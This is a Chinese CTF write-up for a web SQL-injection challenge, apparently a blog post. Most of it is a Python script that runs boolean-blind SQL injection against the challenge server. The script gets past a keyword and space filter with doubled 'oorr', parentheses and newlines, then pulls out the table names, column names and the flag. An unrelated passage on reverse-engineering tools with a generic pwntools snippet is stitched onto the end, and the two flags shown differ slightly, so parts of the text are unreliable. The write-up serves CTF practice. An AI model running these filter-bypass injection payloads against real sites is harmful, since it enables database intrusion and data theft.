[CTF]认真一点!

类型:web
网址:http://www.shiyanbar.com/ctf/2009
攻击:sql注入
一句话总结:or 空格等特殊字符被过滤,使用oorr,()等代替

writeup

import requests

# 暴力猜解当前数据库的长度
# str1 = 'You are in'
# url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
# for i in range(1,30):
    # key = {'id':"0'oorr(length(database())=%s)oorr'0"%i}
    # r = requests.post(url, data=key).text
    # print(i)
    # if str1 in r:
        # print("the lenghth of database is %s"%i)
        # break
        
# 暴力猜解当前数据库的名称 ctf_sql_bool_blind
# guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
# str1 = 'You are in'
# url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
# database = ''
# for i in range(1,19):
    # for j in guess:
        # key = {'id':"0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0"%(i,j)}
        # r = requests.post(url, data=key).text
        # print(key)
        # if str1 in r:
            # database += j
            # print(j)
            # break
# print(database)

# 暴力猜解数据表的长度 11
# guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
# str1 = 'You are in'
# url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
# i = 1
# while True:
    # flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0"%i
    # flag = flag.replace(' ', chr(0x0a))
    # key = {'id':flag}
    # r = requests.post(url, data=key).text
    # print(key)
    # if str1 in r:
        # print('the lenght of tables is %s'%i)
        # break
    # i += 1
    
# 暴力破解数据表名称 fiag@users-
# guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
# str1 = 'You are in'
# url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
# tables = ''
# for i in range(1,12):
    # for j in guess:
        # flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'0"%(i,j)
        # flag = flag.replace(' ', chr(0x0a))
        # key = {'id':flag}
        # r = requests.post(url, data=key).text
        # print(key)
        # if str1 in r:
            # tables += j
            # print(j)
            # break
# print(tables)

# 暴力破解数据表的列名 fl$4g
# guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
# str1 = 'You are in'
# url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
# columns = ''
# for i in range(1,6):
    # for j in guess:        
        # flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(i, j)    
        # flag = flag.replace(' ', chr(0x0a))
        # key = {'id':flag}       
        # r = requests.post(url, data=key).text
        # print(key)
        # if str1 in r:
            # columns += j
            # print(j)
            # break
            
# print(columns)

# 暴力猜解数据表字段长度 14
# guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
# str1 = 'You are in'
# url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
# i = 1
# while True:
    # flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='')oorr'0"%i
    # flag = flag.replace(' ', chr(0x0a))
    # key = {'id':flag}       
    # r = requests.post(url, data=key).text
    # print(key)
    # if str1 in r:
        # print('the length of data is %s'%i)
        # break
    # i += 1

# 暴力猜解flag   flag{haha~you-win!}
guess = '~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
data = ''
for i in range(1,20):
    for j in guess:        
        flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0"%(i, j)    
        flag = flag.replace(' ', chr(0x0a))
        key = {'id':flag}       
        r = requests.post(url, data=key).text
        print(key)
        if str1 in r:
            data += j
            print(j)
            break
            
print(data)

FLAG

flag{haha~you win!}

### CTF竞赛中的逆向工程技术解决方案 在处理CTF比赛中的逆向工程挑战时,理解二进制文件的工作原理至关重要。通常情况下,这类题目会提供一个可执行文件,参赛者需要通过分析该文件来找出其内部逻辑或隐藏的信息。 #### 使用静态分析工具 为了更好地理解和破解给定的程序,可以采用多种方法和技术。其中一种常用的方式是利用静态反汇编器和调试器来进行深入研究[^1]。IDA Pro、Ghidra 和 Radare2 是三个广泛使用的工具选项,它们能够帮助解析目标代码并揭示潜在的秘密路径或漏洞所在之处。 #### 动态调试技巧 除了静态分析外,在某些场景下还需要借助动态调试手段进一步探索未知领域。这涉及到设置断点、单步跟踪指令流以及监控内存变化等方面的操作。gdb (GNU Debugger) 或者 WinDbg 就是非常适合此类工作的强大软件之一[^2]。 #### Python辅助脚本编写 对于一些复杂的逆向任务来说,手动操作可能效率低下甚至难以完成;此时可以通过编写自动化程度较高的Python脚本来简化流程。例如,使用`pwntools`库可以帮助快速构建网络连接并与远程服务器交互,而`angr`则是一个专为解决约束满足问题设计的强大框架,可用于自动寻找特定条件下的输入数据[^3]。 ```python from pwn import * # 连接到远端服务 conn = remote('challenge.example.com', 9999) # 发送payload到服务端 conn.sendline(b'your_payload_here') # 接收响应消息 response = conn.recvall() print(response.decode()) ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值